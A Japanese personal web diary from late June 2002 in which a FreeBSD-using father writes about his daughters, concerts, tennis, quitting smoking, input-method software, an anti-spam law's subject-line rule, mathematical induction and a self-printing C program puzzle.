昨日ドラムの練習にいったら、「ピアノの先生(女性です)が ADSL を引きたいんだけどちゃんと性能はでるのかな」というお話。家に帰って調べたら NTT からの距離が 1 km で、減衰が 18dB という完璧な環境。うらやましいです(^^;。
5月の終りに「書く量が多すぎ」と書きましたが、ますます増えてますね(^^;。
```
$ ls -l *.html
-rw-r--r--  1 kagami  kagami  20551 Jun 18 16:41 04.html
-rw-r--r--  1 kagami  kagami  46808 Jun 18 16:41 05.html
-rw-r--r--  1 kagami  kagami  69735 Jun 30 00:09 06.html
```
読んで下さっている方へ。どうも申し訳けございません。今後は量を減らすよう努力・・・致しません(^^)。
それでも最初の頃に比べると、若干慣れてきたかなとは思います。そりゃ、一日原稿用紙にして3枚近く書いているんだから少しはね。いずれにしても、学生時代一度も作文が書けなかった人間としては大進歩であります(^^)。

2002年6月29日(土)

昨日の夜、二女が修学旅行から帰って来ました。たくさんおみやげを買ってきてくれました(^^)。
二日目が班別行動だったそうです。ところがみんなで電車に乗ろうとしたら、男子３人が子供切符で電車で乗ろうとしたのがバレて、全員足止めとなってほとんど観光が出来なかったそうです。今でも怒っています。
行く前から、「男子がバカだから」と心配していたのが当たってしまいました。女子だけでも早急に別行動にすればよかったのでしょうが、先生の対応も余りよくなかったらしく大幅に時間をロスした様です。何年か経てば、「こんなバカなこともあった」と笑い話のネタにもなるのでしょうが、今、非常に不愉快であろうことは良く分かります。
一人 100 円得しようとしたらしいです。まったくバカなことをするものです。あと、先生ももっと柔軟に対処して下さい。連帯責任の時代じゃないです。
前に IBM のノート PC を使っているて気に入っていると書きましたが、 IBM でないと困るもう一つの理由があるのです。わたしは、マウス移動装置がキーボードの真中についている「プッチン」でないとだめなのです。それにしても、ふにゃふにゃしてきたら交換するゴム 3個で送料込み280円とは本当に安いですね、チャチャさま(^^)。ふにゃふにゃするまで３ヵ月位もちます。
↑早速一セット注文。本当にカードで注文できました。送料無料です。 IBM さん大赤字だろうな(^^;。
三女は、私にとっては本当にカワユイのだが、いわゆる「女の子もの」を欲しがりません。スカートもはかないし。親の影響のせいもあるかもしれないけど、メカ系とか、恐竜系、虫系が好きです。長女と二女は結構「女の子もの」が好きでした。男の子女の子で、ある程度の傾向は現れる思うが、何を好むは最終的にその子の個性であって、男か女かには関係ないでしょう。教育問題にしても、夫婦別姓問題にしても、自分は関係がない政治家(屋)が余計な口を出さないで欲しい。
今日は、ドラムの練習。本当は 7月13日(大阪公演の日)に娘の音楽発表会で演奏するはずだったのだけど、ドラムの希望者が今回わたしの家だけで、そのためだけに準備するのも大変だろうということで、またの機会ということになりました(^^;。スタジオ録音ということになりました。
本日の朝日新聞朝刊によると、「サントリーのスーパー○○ドライ」使用差し止めアサヒが申請。わたしは、ビールには全く利害関係がないのですが、ここはアサヒ頑張れ～。
同じく朝日新聞の夕刊によると、「迷惑メール」規制法来月施行。一部を引用すると、
広告、宣伝のための電子メール(特定電子メール)の送信者は、メールの本文の文字コードと同じ文字で、件名欄に「未承諾広告※」と表示しなければならない。
という条項があるそうです。似たような絵文字等で、自動フィルターをすりぬけるのを避けるためです。しかし待って下さい。「メールの本文の文字コードと同じ文字で」の部分、それはまずいんじゃないかな。 Subject に生 JIS で書いちゃだめです。ちゃんと mime encode なりをしなくては。このあたりをちゃんと考えてあるんだろうか。それとも、ますます Subject 生 JIS メールが増えるのか。きっと後者だろうな。広告メールの是非はともかく、正しいエンコードをした業者だけが逮捕されるんでは困るな。
```
To: kagami@xqb.biglobe.ne.jp
Subject: =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCIoGyhC?=
From: KAGAMI Hiromichi <kagami@xqb.biglobe.ne.jp>
X-Mailer: Mew version 3.0.54 on Emacs 21.2 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit
Status: 

「未承諾広告※」の正しいエンコードの例。これは合法なのか違法なのか。
```

2002年6月28日(金)

いよいよあと一週間となりました。カウントダウン開始です(^^)。座席は B タイプという説が有力で、金曜日が C-8, C-9、土曜日が J-11 です。金曜日は奥さまとデートモードです(^^)。
昨日 S 君に聞いたら Wnn7 はかなり使えそうだと言うので注文しました。最初から Emacs lisp 対応なのでパッチをあてない Emacs で入力可能です。FreeBSD Native で動作するのもうれしいです。囲碁ソフトを買うのは無理ですね(^^;。
カフェインに関してはここ。茶葉クズが原料だそうだので、かなりカフェインが残っているのでしょうね。ナメクジにはどうかなあ(^^;。
今日は 19時30分から会社の宴会です。福島県から東京方面にでてきて一番助かったのは、お酒を強要されないことです。昔は宴会が大嫌いだったのですが、今はそんなことはありません。
４５歳ナブラチロワ、ダブルスで健在　ウィンブルドン。最近の 40 代は 20 年位前と比べて10 歳位若いんじゃないかと思うこの頃です。谷山さんも若いしね。大体 1953 年以降に生まれたわけで、この頃から食糧事情が良くなってきたんです。ナブラチロワは関係ないと思うけど。
ナブラチロワの誕生日が 1956年10月18日だそうで、谷山さんやわたしの奥さまとほとんど同じなのね(^^)。この世代の女性は強いなあ。
しょっちゅう更新がかかるページの場合はいいんですが、谷山浩子さんのページの様にたまに更新がかかるページの場合、肝心の更新タイミングを見落とす場合が多いのです。そこで更新チェックプログラムを探していたら、なんのことはない、 Mozilla にその機能があるんですね。Netscape や使わないけど IE にもあるそうで、 7 年も使っていて知らなかったです(^^;。
年末にも小泉首相訪ロへ。んっ、年末までもつのかな(^^)。あれだけ無能な側近をそろえた例はかつてないんじゃないかな。あの二世議員達の無能さは驚くべきものです。本人に力がないから、周りにまともな人間が集まらないんだ。

2002年6月27日(木)

あれれ、アガシとサンプラスもう負けちゃったよ(^^;。
今日も天気が悪くて、修学旅行に行った二女がかわいそうだと思ってたら、関西の方はそんなに天気が悪くはないようですね(^^)。
パクリねたで、「ナメクジはコーヒーが苦手　新たな駆除剤開発に期待」。
お茶やコーヒー一杯分に、大体 100ミリグラムのカフェインが含まれています。エスタロンモカとかもそんなもんです。200 ml の飲み物とすると含有率が 0.05% です。2% でナメクジに効果ありと書いてありますから 40 倍の濃度です。これを大量に飲んだら人間だって危ないです。カフェイン自体は弱い神経毒なので、ナメクジの何でも吸収しそうな体表面に直接噴霧すれば死んでしまうでしょうね。別にカフェインじゃなくって塩でもあんまり変わらない気がするけど(^^;。
ただし、ナメクジに直接噴霧するのではなくその辺に撒いておいてナメクジが通ると死んでしまうというなら、かなりナメクジ選択毒性が強いといえます。
「徹夜作業のときはナメクジ殺虫剤を小量飲む」なんてのはいやだな(^^)。
「かがみはナメクジが苦手。新たな駆除剤開発に期待」もいやだな(-_-)。
この日記を書き始めるまで気にならなかったのですが、こんなレベルの文章でも Canna では変換が悪すぎます。このあたりが Free UNIX の弱いところです。
その辺に、なんとか Linux の CD がころがっていて誰も使っていない様だったので、 Linux の ATOK をインストールして試してみました。いろいろ面倒な設定をすると、FreeBSD の Linux emulation で動作しました。ただし、kinput2 のみ対応で、今のところ Emacs でうまく動作していません。 Emacs で動いてくれないと意味がないんで、当面 Canna で我慢するしかないです。 Wnn6 はどうなんだろう。
この間ちょっとソフトウエア店で油を売ってたら、囲碁ソフトのパッケージに「日本棋院一級認定」と書いてありました。
私は、囲碁はほんのちょっと打てると思うのですが、将棋やオセロ、連珠は全然だめです。それで、盤上ゲームのソフトで不満だったのは、囲碁は弱すぎてつまんないし、将棋やオセロは強すぎてつまらないということだったのです。
囲碁が一級だとすると、私とたいして変わらないんで、もしかすると結構楽しめるかも知れません。ただ、一万円近い値段がするし、コンピューター相手だと自分が優勢になっても、マイッタカなんていやがらせの一つもいえないし、どうしようかなと迷っているのです。それにしても一級とは強くなったものです。
gnugo(GNU 碁)などの、あんまり強くないソフトと対戦すると、人間の弱い人とは全然違うんです。なんというか、やる気がないというか、気力が感じられないというか、戦いの最中に関係ない所に打つし。たまにいい手は打ちますし、「あと 3 手」の部分は間違えないんですけど。
人間の場合、どんなに弱くても戦いの気力というのは必ずあるんです。だから、カラカイがいもあるんですけど(^^)。ところで、囲碁の場合終りが近づくと「駄目が詰まる」という状況が生じまして、油断して手をいれ忘れるとどんなに優勢でも一瞬にして負けとなります。将棋で言えば、王手に手を抜く様なものです。それで超弱コンピューター相手に何回か負けたことがあります。あと、恐いのは、マウスの位置がちょっとずれる打ち間違いですね(^^;。
大学時代に考えたのが「ドーナツ碁」。折り紙を丸めて筒をつくって、その筒をグニューっと曲げて両端をくっつけるとドーナツ状になりますよね。それを折り紙の代わりに碁盤でやるわけ。もちろん、実際に曲げるのは難しいので想像するわけです。そうすると「隅」の無い碁盤ができます。私は実際にやったことはないんですけど、囲碁部の友人が普通の碁盤で、「想像」しながら対戦を行った棋譜が残っています。超難解です。数学屋さんはドーナツをトーラスと呼ぶので、正式には「トーラス碁」といいます。
蛇足ですが、現在のコンピューターのゲームの強さ。
```
チェス  世界最高クラス。

オセロ  だれもかなわない。

将棋    アマ４段クラス。つまり、普通の人は歯がたたない。
```
ただし、チェスの場合特製 Deep Blue であり、その他は普通のパソコンです。わたしのあんまり当たらないであろう予測では、将棋は２０２０年、囲碁は２０３５年頃名人に勝つのではないかと思います。まったく根拠なしです。

2002年6月26日(水)

今日から金曜日まで、中三の二女が修学旅行。京都方面だそうです。私は大学に行く前は福島市に住んでいたので、中学のとき鎌倉で、高校のとき京都・奈良でした。大仏を見にいったようなもんです。
それにしても、今日は天気が悪いな。修学旅行に行くには、季節がちょっと。受験の関係で仕方がないんだろうな。
子供なんて家にいるとうるさいだけなんだけど、いなくなるとちょっと寂しいんだ。三人もいれば、一人位どうでもいいかというと、そんなことはないです(^^)。
ほんとは、最近、もう一人欲しいなと思うこともないわけじゃないんだけど、いくらなんでも無理だよ～(^^;。←このおばかは本当になに考えてるんだ(^^)。
生活は大変になるし、面倒なことばっかりおきるし、その人の考えもあるでしょうけど、子供の人数は多い方が人生の楽しみが増えると思います。
今日の昼休みに、ひさしぶりに「翼」を聴きました。最近昔の曲ばかり聴いていたのでとても新鮮でした(^^)。
昨日、電車に乗っていたら、ド派手な広告があって、
サラリーマン、自営業の方の多重債務等「個人再生手続き」を利用して、破産しないで返済可能です。
なんて書いてあった。そして弁護士手数料等は「分割払いご相談」なんだって(^^;。本当に大丈夫なのかなあ。それにしても、どうして、あんな高利でサラ金からお金を借りるんだか。ちょっと計算すれば、大損だってことが分かると思うんだけど。
親としては、サラ金なんかからお金を借りるのは「はずかしい」ことであることをちゃんと教育する必要があります。コマーシャルが流れるたびに言ってるけど。

それより、問題なのは、上とまんなかの娘が UFO とか心霊写真とかいう非科学的なことを簡単に信じちゃうことなんだ。毎回、口をすっぱくして、「だまされるな」と言ってるんだけど、ほとんど効果がないんだ。エセ科学番組とか心霊番組が今のテレビ番組で最も低俗なものだと思う。現在、政治的に正しい判断をするためにも、国民の一人一人が正しい科学知識をもつ必要があるのにもかかわらず、低俗テレビ番組は、全く逆の方向を向いているのです。何らかの政治的意図さえも感じられます。
霊やエセ科学に関しては、カール・セーガン著「カール・セーガン科学と悪霊を語る」ISBN4-10-519203-5 が非常に参考になります。
修学旅行といえば、私は「高校の先生」として引率したこともあります。その頃は、先生をやめちゃう1年位前でかなり壊れていたんだけど、とにかく担任ということで引率したんだ。修学旅行の引率なんて神経が休まるひまがないんだけれど、一つだけいいことがありました。
覚えていませんか。先生が絶対生徒と一緒に食事をしないって。あれは、生徒の食事の指導をするためではないのです。生徒の食事が終って、先生の部屋に戻ると、そこには酒池肉林の世界が待っていたのでありま～す(^^)。生徒の食費の10倍じゃきかない様な食事だったはずです。私はお酒がダメなんでわからないんだけど、かなり高い酒も飲み放題だったと思う。しかも無料。来年も使って下さいという、一種の賄賂だよな。あっ、肉林たって食べものの「肉」ですよ。いっくらなんでもそれ以上は(^^;。
食べものはよかったけど、神経を使いすぎて、破局へますます近付いたことは事実だね。精神年齢が高校生並か、それ以下なのに、先生になったのが無理だったんだ。それにしても、わざわざ旅行にいって、他校の生徒とケンカしないでくれよな(^^;。
こんなことを書くと、先生なんてどうしようもない人ばっかりの様ですけど、とても親切にして下さったり、尊敬できる先生もたくさんいました。いまでも感謝している先生はたくさんいます。
逆に暴力関係でひどい先生もいて、そのことも具体的に書いて一瞬アップしたんだけど、あんまりひどくって、読んでて不愉快になる話なんで引っ込めちゃいました。とんでもない暴力教師とやりあったのがやめる直接の原因になったんです。どうして、学校の先生にヤクザがいたんだろう。

2002年6月25日(火)

ウインブルドン大会が始まった。 F1 以外にもテレビをみることになるわけだ。ただ、わがままヒンギスが出ないとつまんない(^^;。
好きな選手は、男子ではイワニセビッチ。もう引退しちゃったけど、女子ではノボトナ。わがままそうで精神面が弱い選手が好きなんだ。もちろん、とんでもない才能があるという条件でね。この二人が好きなのは、家で NHK 衛星しか見れないという理由もあると思うけど。ノボトナは、本当に美しいフォームでした。
相撲だと魁皇だね。昼間っから酒飲んでて、怪力。勝つときはとても強い。だけど、肝心なときに必ず負ける(^^;。相撲もつまんなくなったな。
あれれ、また新しいのが。ちゃちゃ様の管理人さ～ん。最近のチャチャ様かわゆすぎま～す。
千代田区議会が歩きたばこ禁止条例案を可決。仕方ないんだろうけど、そこまで、目のかたきにしていじめなくてもいいと思う。あれは、電車から降りた後なんて本当に我慢できないんだよ(^^;。これから、全国に波及して、ますます肩身が狭くなるんだろうな。わたしは、アルコールが全然だめなんで、前だったら「そんなら酔っ払って歩くな」といいたくなってたね。もう関係ないんではありますが(^^)。
↑いくら無料の「かんな」漢字変換とはいえ、「かたき」位は出してよ(^^;。これじゃ、谷山浩子さんの曲名も書けなくなっちゃう。
↑確かに、吸っていた頃の自分を含めて、マナーが悪い人はたくさんいるんで仕方ないとは思います。それに、禁煙の場所で吸うなんていう人は論外ですな。「体に悪い」とか「教育上よくない」とかの理由で、なんでも排除するのはどうかなと思ったんだけど、よく考えて見ると、迷惑にならない場所で吸えばいいんだからねえ。あと、ひどい酔っ払いはなんとかしてよ～(^^;。
もう、電車でサントリー飲んでゲボッたやつは死刑にすりゃいいんだ。 ←おいおい、前に死刑反対とかいってたのはだれだい(^^)。
それにしても、共産党だけが反対ですか。一番賛成しそうなもんだけど、どうしてなんだろう。
電子投票をみんなが信用するのは、宝くじの抽選をコンピュータがやって皆納得してからだね。私は信用しないよ。不正の余地が多い場合、冗長性や面倒くささを持たせておく必要があるんだ。そもそも、開票が数時間短くなってなんのご利益があるんだろう。本気で無効票がなくなれば良いと思ってるのかなあ。記事によると、「立会人の確認を経て」と書いてあるが、なにを確認したんだろう。
今日は反応モードに徹しまして。サントリーの前の社長は、「熊襲」を蔑視的な意味に使用して、「東北人は熊襲の子孫だから文化レベルが低い」という意味のことをいったよな。ちなみに「熊襲」は九州の方。別にそれで九州の文化レベルがどうという意味ではないです。サントリーは、自分達を文化的にみせようとしてるつもりだろうけど、本当は極端に文化レベルが低いんだ。
書き終って J さんの所をみたら、やっぱり「熊襲」のことが書いてあるよ(^^;。こんなこと執念深く覚えてるのは私だけかと思っていたら、あの「うらみ」は消えないんだね。本当に不愉快だったからな。それでは、ありがたくリンクはいただき。
XFree86-4 のドライバーの調査が必要なので、ソースからコンパイルしてインストール。時間がかかります。

2002年6月24日(月)

今日から新しい壁紙のデスクトップ(^^)。もちろん、チャチャさまでございます。
F1 ヨーロッパグランプリ。バリチェロ今日は勝つ(^^)。バリチェロが好きな人は多いと思う。私も好きです。
今日は、10時頃から2時間以上かけて平塚に出張。
16時半に会社に戻りました。電車に往復4時間(^^;。また家に帰るのに 1時間半乗るんだ。出社するにもおんなじ時間乗ったので合計7時間。仙台に２往復近く出来るんじゃないかな。
昨日は映画にいったり、F1 みたり。今日は 7 時間電車～。さすがに疲れました。もう今日はダメ(^^)。
そういえば、最近 F1 以外テレビをみた記憶がない。谷山さんモードに入ってからあんまりテレビ見たいと思わない。
15年以上前に初めて買った谷山浩子さんの CD が「眠れない夜のために」。今年 15 年ぶりに買ったのが「Ｍｅｍｏｒｉｅｓ」。どっちもベストアルバムなんだ。要するにケチなんで、いい曲が沢山入っていそうなのを買っただけなんです。
それが当たりたっだんです。「眠れない夜のために」は、ピアノ中心のアレンジで、わたしの好み。あと、歌い方も無理をせずに、自然にきれいな声が伸びている感じなんだ。全体の雰囲気はクール。「冷たい水の中きみと歩いていく」に近いかな。
「Ｍｅｍｏｒｉｅｓ」の方は、ライブの迫力に圧倒されたし、15年前に比べてはるかに深い内容を表現しているのに驚いた。今は、大好きなアルバムが沢山あるんだけど、今年の始めの時点で、「Ｍｅｍｏｒｉｅｓ」以外のアルバムを買っていたら、これほど夢中になっていたかどうか分からないね。人間の運命なんて分からないもんだ。
ところで、やっぱり、15年間のブランクがあったのは非常に残念です。今、新鮮な気持で、昔の曲が聴けるのはいいことなんだろうけど、やっぱり同時代を共有したかったな。
どうして15年も空いちゃったんだろ。自分では大体分かっているので、こんどきちんとまとめて書こう。

2002年6月23日(日)

今日は、三女のサイエンス倶楽部横浜の日なので、いつもの通り横浜に一緒に行って、奥さまとデートと思っていたら、 I さんの娘さんを帰りにあずかることになったそうで。その娘さんが、結構人見知りするので、「お父さんはいない方が」ということで、今日はおいてきぼり～(^^;。
そこで、9時45分からの、「少林サッカー(少林足球)」を観にいくことに。だけど一人で行くのもなんなので、中三の二女をさそおう。
パパ>いっしょにいこっ。
二女>今日、午後から塾で5教科のテストがあるからダメ。
パパ>午前中だからいいじゃないか。
二女>そんなこといったって、午前中勉強したいし、映画なんて観たら疲れちゃうし。
パパ>午前中勉強したって大勢に影響ないよ。それに、少々疲れて点数とれないようじゃ、もともと力がないんだ。いいから、いこ、いこっ、いこ～よ～。
二女>仕方ないなあ。
というわけで、どっちが大人か分からないんですが、とにかく付き合ってもらって観に行ってきました。理屈ぬきで面白かったです(^^)。笑いすぎて涙がでちゃいました。
午後2時からマンションの総会。これが、いつも、信じられない位つまらないんですぅ(^^;。午前中に比べてエライ落差だな。ノート PC 持ち込んで遊んでようかな。今日、横浜に行くのはもともと無理だったのです。
つまんな～い。つまんな～い。つまんな～い。つまんな～い(^^;。
どうして、世の中の人は、あの、わけが分からない数字の羅列の「予算書」というのが理解できるんだろう。しかも、やっと去年の決算報告が終ったと思ったら、本年のなんとか予算の説明で、去年とほとんどおんなじ。おんなじならやるなって。あれれれっ、やっと終るかと思っていると、また余計なことを質問する人が(^^;。会議は踊る～。
わたしが出ても何の役にたたないんであって、本当は奥さまが出た方がいいんだよね。

2002年6月22日(土)

昨年の11月からですから、7か月以上タバコを吸っていません。最近は特に吸いたいとも思わなくなってきました。たまに「吸ったらとってもおいしいんだろうな」と思うことはありますけど(^^;。もう、禁煙という状態でなく、単に「タバコを吸わない人」になれたと思います。
タバコをやめた理由は、奥さんに、「そろそろ、タバコやめないと早死にしちゃうよ。早く死んでしまうとモカちゃん(三女)が悲しむよ」と言われたからです。と言うと、それなりにカッコいいのですが、「タバコをやめて浮いたお金で、ノート PC を買おう(^^)」という下心もあったのです。
それで、今、これを書いている IBM R30 というノート PC が、私のこれからの生き方を少々変えたかなと思うのです。
最初は FreeBSD をインストールして、チャチャさまを壁紙にして、普通に使っていたのです←どこが普通なんだよ(^^)。
ところが、会社の P さんが、「IBM のノート PC はヘッドフォン使えば、結構音いいですよ」と教えてくれたのです。
P さんはまだ 20 代なんですが、私と結構仲がいいのです。しかも、明らかに P さんの方がオトナ。わたしって、精神年齢が上がらないので、同世代の友人がほとんどいないんです。 10歳とか20歳年下の人ばっかり。数少ない同世代の友人も、 40代後半ともなると分別がついてきちゃって、話がかみあわなくなってきてるし。精神年齢が上がらないのは、今考えると、子供の頃 ADHD(注意欠陥多動性障害) だった後遺症だと思うんだ。もちろん、当時はそんな言葉というか、概念が無かったんだけど。
それはともかく、確かに CD をヘッドフォンで聴くと、安物の CD プレイヤーより音が良いのです。数年前から、ろくな再生装置がなくて、音楽を聴くことから離れていたので、「久しぶりにいろいろ聴いてみようかな」ということになったのです。ついでに CD を沢山持ち歩くのは大変なので mp3 を試してみようと。mp3 は 128bit ではお話にならなかったのですが、 256bit だと、私には元の音との違いがあまり分からない程度でした。
昔の CD をごそごそ取り出してきて、mp3 化を始めたのです。 3枚を除いては全部クラシックのピアノ演奏でした。そして、3枚というのは、15年前の谷山浩子さんの CD だったのです。
その後は、この日記に書いてきた様に、完全に「谷山浩子さ～ん」モードに突入したのであります。あと、谷山さんの音楽を聴いているうちに、何というか、いろいろ心境の変化もありましたし。こんな変てこな日記も書き始めたし。とても素晴らしい人と会えたり、メールのやりとりができたり。いずれにしても、人生に一つの転機にはなったと思うのです。
それで、タバコをやめた収支決算はどうだったかといいますと、表面的な金銭面では、谷山さん資金がすごくって大赤字でありますが、精神的な面では大変な得をしたのであります。今は、タバコをやめる前よりはるかに幸せなのです。おそらく、家族もそうだと思います。
それにしても、さすが IBM。少々高い感じはするけど、キータッチはいいし、音もいいし、クロック以上に速く感じるし、全体的なバランスが非常に良いのです。バスの性能がいいんだと思う。

2002年6月21日(金)

三女がもう小鳥を手なづけた様です。三女が近くを通ると、羽をはばたかせて、ピーピー鳴くのです。擦り込み効果で自分の親と思っている様です。
二人の姉にもまれていると、なかなか世渡りが上手になります。クラスの悪ガキに自分の言うことをきかせるのもなかなか上手らしいです。なんといっても、父親を一番手なづけているのです。もう、可愛くってしかたがないのです(^^)。
幻想図書館初日まで２週間です(^^)。
今日は朝から茅ヶ崎に出張。家からは近いが、会社へ戻るのに時間がかかる。 15時半に会社に戻ったが、なんか中途半端。
突然、モジラでチャチャさまの画像が一枚も表示されなくなってしまいました(^^;。最初、失礼ながらサーバーのせいかと思って w3m でみたらちゃんと見える。別のマシンのモジラだとちゃんと絵がでる。 JPEG がダメなのかと思って他のページの JPEG を見たらちゃんと見える。うーん不思議。試しに、モジラの設定ファイル置場 ~/.mozilla を別の名前に変更したら見える。そこで、設定ファイルをあさってみたら、 cookperm.txt というのがあって、
toriyu.dd.que.ne.jp 1F
なんて行が入ってました。これをコメントにしたら、やっとチャチャ様の絵がでる様になりました(^^)。いつの間に入ったのだろう、いったい何なんだろう。わからな～い(^^;。

2002年6月20日(木)

谷山浩子さん「ここは春の国」から本当の個性と自在性、軽快さがでてきた様に思います。力が抜けていて大好きなアルバムです。それまでがどうというのでなく、このアルバムが私の谷山浩子さんイメージと合うんだ。
それはともかく今朝の４時だよ。昨日の朝５時に起きたのに(^^;。別に眠れなくても気分良くこんなの書いているので不眠症ではないね。本当の不眠症になると、眠れないことがとても辛いんだよ。
だけど、こんなに書くのが好きだとは自分でも思わなかった。小学校のときの作文は全部「ぼくは、」で終ってたんだから(^^;。小中高通じて、作文をちゃんと出した記憶はないね。その後遺症で今でも文章の形式や表現が安定しないんだ。句読点の正しい打ち方も全然わからない。
↑なんか、夜中や明け方に書くと告白風になるんだ。
朝の電車で、駅を２つ通り過ぎてしまいました(^^;。中央林間から二子玉川まで 45 分間の睡眠って大きいです。
FreeBSD-4.6R の CDROM でインストールに失敗する場合があるそうです。
http://people.freebsd.org/~bmah/doc/errata/article.pdf を参照して下さい。
私はゴールの前に壁ロボットを立てろとか、ものすごいデブを育てて立たせろとか、サッカーに関してバカな話ばかりしているのですけど、中国人の T さんが「少林サッカー(少林足球)」をみれば良いと言っておりました。 J さんの強力なご推薦もあるし見に行こう(^^)。藤沢オデオン座ね。
数学的帰納法という証明方法があります。コンピューターの世界では再帰呼び出しとも関連があります。一応証明方法を記述しておくと、自然数(0 含む)に対する命題 P(n) に対して、つぎの仮定が成立するとします。
```
    P(0) が成立する。
    n>=0 に対して P(n) -> P(n+1) が成立する。
```
このとき
```
    すべての n>=0 に対して P(n) が成立する。
```
いもづる式に P(0),P(1),P(2),... が成立するわけです。
ここまでは、普通に勉強をしていれば、高校で学習する内容だと思うのですが、大学の時に次の話を聞いて感心したことがあります。
P(n) を帰納法で証明したいときに Q(n) という「うまい」命題を付加した
```
    (P(n) and Q(n))
```
という命題を証明するのです。普通に考えると Q(n) という余計なものまで証明する必要がでてくるので、問題を難しくするだけの様ですが、数学的帰納法の場合はちょっと違うのです。帰納法の場合、次を示すわけです。
```
    (P(0) and Q(0)) が成立する。
    n>=0 に対して (P(n) and Q(n)) -> (P(n+1) and Q(n+1)) が成立する。
```
ここで、この Q(n) という一見関係がない命題のご利益は、単独の P(n) より、前提である (P(n) and Q(n)) の方が「強い」ので、(P(n+1) and Q(n+1)) が証明しやすいかも知れない、ということです。
だたし Q(n) が弱すぎると前提として役にたたないし、強すぎると (P(n+1) and Q(n+1)) が強くなり過ぎて結論がかえって証明しにくくなってしまうのです。 Q(n) の「あんばい」が大切なのです。
この話は、学生時代に広中平祐氏の集中講義で聞きました。実際、広中氏はフィールズ賞の受賞理由となった特異点解消定理の論文で、このテクニックを使ったそうです。
肝心の集中講義の内容はと言いますと、アハハ、よく分からなかったです(^^)。
広中平祐氏はかなりアクが強くて感じのいい人ではなかったな(^^;。

2002年6月19日(水)

今日は、5時に目が覚めてしまった。いつもより30分早く家を出て、朝マックでもしよう。←結局、家は早く出たんだけど、立ち食いそばの誘惑に負けてしまいました(^^;。
いつもは、奥さんにお弁当を作ってもらうんだけど(←イイダロ^^)、今日は早く家を出たので外食。 P さんと T さんと食べに行きました。
16日に FreeBSD-4.6 がリリースされたと書きましたが、最近 4 系は本当に安定しちゃって変わり映えがしないです。セキュリティパッチ以外は必要がないです。本当は、もう 5 系が出ているはずだったのに、一年以上遅れていて 4 系はつなぎだからね。
それで、5 系の current(開発中版)の調子はどうかといいますと、会社の P さんが何回かトライして、例えば次の現象が発生しています。
時計が 2 倍進む(^^;。
いつのまにかお亡くなりになっている(=_=)。
CPU の温度が 800度とか 1000度とか測定される(^^)。
起動時の動的 fsck でハングする(;_;)。
等々まだまだ問題点が多い様です。本当に今年の 9月だったか 11月に間に合うのかちょっと不安です。5.2 位にならないといやだな。
ところで、私は、5年位前の FreeBSD-2.1 の頃から、FreeBSD の CDROM をアメリカから定期購読していまして、会社の机の後ろに積み上がっています。一回 2,500 円くらいで、送料とかをいれると 5,000 円近くなってしまいます。「めしの種」であり、寄付を兼ねているのでこれはこれで構わないのですが、大体３ヵ月に一回ですから、もしかすると某 MS の OS より高いかもね(^^;。もちろん、CD を自由にコピーしてみんなで使えるという利点はあります。
最近は、ほとんど cvsup ですませています。どうしても CD が欲しいときは、インターネットから ISO イメージをダウンロードすればいいので、もう注文しなくてもいいんです。ISO イメージのダウンロードも私の家の環境で 2時間位でできるはずです。ただ、解約しようにも、しょっちゅう販売元が変わるし英語なんで手続きがわからないんだ(^^;。
オープンソースといっても、やっぱり真面目に使おうとすると、本を買ったり、調べたり、一昔前なら CD を買ったり、それなりの資金は必要であり、無料ということよりソースが公開されていることが本質だと思う。もちろん、大量のサーバーを構築する場合などは「無料」というファクターも大事なんだろうけど。

2002年6月18日(火)

今、朝の２時。寝ようとしたら、視野が欠損している部分がある。偏頭痛だよ、偏頭痛。アスピリン、アスピリン。最近は痛みもほとんどなくてあんまり実害はないんだけど。
うーん、直ってきた。痛みはこない。よし、寝よ。
別に偏頭痛の後遺症じゃないだろうけど、朝、バスに乗ろうとしたら財布がない。家に戻って 10分のロス。藤沢駅では、急行と普通を間違えて乗って10 分のロス。それでも、中央林間で丁度いい急行をつかまえてぎりぎりセーフ。
今日も、会議室でサッカー鑑賞会が開かれているらしい(^^;。
＠チケットぴあで、東京グローブ座での幻想図書館の土曜日と日曜日の座席が復活している。だだし、席種２ということで、「一部見えにくい箇所有り」ということらしい。柱のかげなんだろうな。

次の様な、信じられないほど役にたたないプログラムをつくってみました。

(1) C のプログラム。
(2) 自分のソースを標準出力に出力する。 same.c という名前とすると。

  UNIX の場合

  $ cc same.c
  $ ./a.out >tmp
  $ diff same.c tmp

  DOS の場合

  > cl same.c
  > same.exe >tmp
  > fc same.c tmp
  違いはありません。
  
  
(3) ライブラリーで使用していいのは printf だけ。
    引数の出力や、ファイルを読み込むのは禁止。
(4) #include していいのは stdio.h だけ。
(5) プログラムはアスキーコードで書かれていると仮定して良い。
    例えば、改行が 0x0a、ダブルクオーテーションが 0x22 などという知識は
    使用して良い。

printf で自分自身を頭から書いていくと、 printf のところで行き詰まるんだ。それをどう解決するかが面白いと思う。

printf(ftmt0,string) という形で ftmt0 と string は似たような文字列になる様にするんだ。そして %s を上手につかう。アイディアを出すのに結構時間がかかって、最後の細かい調整も時間がかかった。答えはこの same.c。 L は改行、Z はダブルクオーテーションです。何の役にもたたないけど、ご自由にご使用下さい。

same.c ってコード化と置換を使用していて、ちょっとゲーデルっぽいんです。こういうテクニックをバイナリーレベルで使うとウイルスの出来上がり。

2002年6月17日(月)

昨日(今日かな)は、もうひとつうれしいことがありました(^^)。どうもありがとうございます。
今日は新しいお財布で出社♪。
鳥を飼い始めたから、今日はなんとなく「鳥籠姫」。わたしって、こういうアブナイ感じで切ない曲が好きなんだな。
先週の金曜日正多角形の話を書きました。円周率の話もそうですが、数学に関して、小学校のときに感動したことが存外多いのです。
そういうことを思い出すと、今の教科書は薄すぎ。３倍位厚くして、別にテストと関係ないコラムを大量に書けばいいと思う。難しいそうな内容でも全然構わないんじゃないかな。
文部省の役人が「何年生には難しい」なんて勝手に決めるのが良くないんだ。もしかして、役人っていうのは、勉強を面白いと思ったことがないのかなあ。そうだとすると、とてもまずいよな。小学生は大人が思っているよりいろんなことに興味をもって吸収できるのです。
一つ気になることがあって、前に FreeBSD-users-jp で、 KNK 先生の質問に私は、
メモリーを壊してるんでしょ。
という回答をしたんだ。そしたら、KNK せんせコラムでメモリーを替えたけど nxt の調子は変化なかったと言ってるんだ。まさか、本気でハード的に壊れているという意味にとっちゃたのかなあ(^^;。

2002年6月16日(日)

「鏡の中のあなたへ」を聴く。確かに暗いですねえ。若くって、頑張って歌ってる感じ。こういうのって意外と好きなんだ(^^)。
